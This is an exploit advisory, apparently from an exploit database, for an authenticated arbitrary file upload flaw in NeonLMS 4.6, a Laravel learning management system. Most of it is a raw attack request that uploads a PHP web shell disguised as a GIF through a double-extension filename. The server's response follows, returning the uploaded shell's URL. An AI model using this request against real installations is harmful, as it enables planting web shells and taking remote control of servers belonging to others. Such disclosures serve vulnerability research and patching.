NeonLMS 4.6 Shell Upload

2020.06.09
Credit: th3d1gger
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: NeonLMS - Learning Management System PHP Laravel Script -(Authenticated) Arbitrary File Upload # Exploit Author: th3d1gger # Google Dork: N/A # Type: Web App # Date: 2020-05-29 # Vendor Homepage: https://www.neonlms.com/ # Software Link: https://codecanyon.net/item/neonlms-learning-management-system-php-laravel-script/23641351 # Affected Version: 4.6 # Tested on: Windows # CVE : N/A Attack request POST /laravel-filemanager/upload?type=&_token=WCYpB81OELWdGBjZYZ9nx46JD80TooI9Kx9RgAB1 HTTP/1.1 Host: 192.168.1.5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.5/laravel-filemanager/ Content-Type: multipart/form-data; boundary=---------------------------1163348127130442375319387716 Content-Length: 99799 Connection: close Cookie: XSRF-TOKEN=eyJpdiI6InJobDdYNjJDTFN6djZWNTlMd1VndGc9PSIsInZhbHVlIjoiUTU0cXl2VUV6eXl6NkdFTnRWcHV3TUZHSkFMd3p4Z25kYW9CZkxyYlByMUM2bG53QWY4XC9tVm5NenZDK1hpaWMiLCJtYWMiOiIxOTdhM2Q4N2JhMTA5NzdkYTVkYmQ0OGQwNjA4ODk0NzViMTMzN2ExNTlmMTQyZTc0NDY3NjgyYWJlNzU1YTFiIn0%3D; neonlms_session=D0jKnf2hb6N1nYCVjEtBNJckMvh27UOaTpRINaxK; _ga=GA1.1.1625243451.1591282372; _gid=GA1.1.1993722441.1591282372; laravel_session=ZoHMEm2MdbfrrkmkPnFxtQckcj1I35p8Rsu7kUFd Upgrade-Insecure-Requests: 1 -----------------------------1163348127130442375319387716 Content-Disposition: form-data; name="upload"; filename="b9.php.gif.php.php" Content-Type: image/gif GIF89a; <?php tested with b374k.php ?> -----------------------------1163348127130442375319387716-- Result HTTP/1.1 200 OK Date: Thu, 04 Jun 2020 20:03:49 GMT Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6 X-Powered-By: PHP/7.4.6 Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilp0MnNOUUNoa2R2OFZzUEJQWU45VGc9PSIsInZhbHVlIjoidWwyXC9UK3pjY2hyNERjc25QdENRTFBQYVNWRTFWU1wvaGNFalhoVGlJaWZ5dFNydXh5WEhqNG5wWkJ4T0VcL0gwRSIsIm1hYyI6IjI1MTkyYjcyMTkzNjczZTAwMGFkMzVhMzYyNzI2OTg4MGZmNWY5YWEzMmJiY2YyM2YyYTg1NTY2NzhiNmM1OWIifQ%3D%3D; expires=Thu, 04-Jun-2020 22:03:49 GMT; Max-Age=7200; path=/ Set-Cookie: neonlms_session=D0jKnf2hb6N1nYCVjEtBNJckMvh27UOaTpRINaxK; expires=Thu, 04-Jun-2020 22:03:49 GMT; Max-Age=7200; path=/; httponly Content-Length: 663 Connection: close Content-Type: text/html; charset=UTF-8 <script type='text/javascript'> function getUrlParam(paramName) { var reParam = new RegExp('(?:[\?&]|&)' + paramName + '=([^&]+)', 'i'); var match = window.location.search.match(reParam); return ( match && match.length > 1 ) ? match[1] : null; } var funcNum = getUrlParam('CKEditorFuncNum'); var par = window.parent, op = window.opener, o = (par && par.CKEDITOR) ? par : ((op && op.CKEDITOR) ? op : false); if (op) window.close(); if (o !== false) o.CKEDITOR.tools.callFunction(funcNum, 'http://192.168.1.5/files/20/b9.php.gif.php'); </script>


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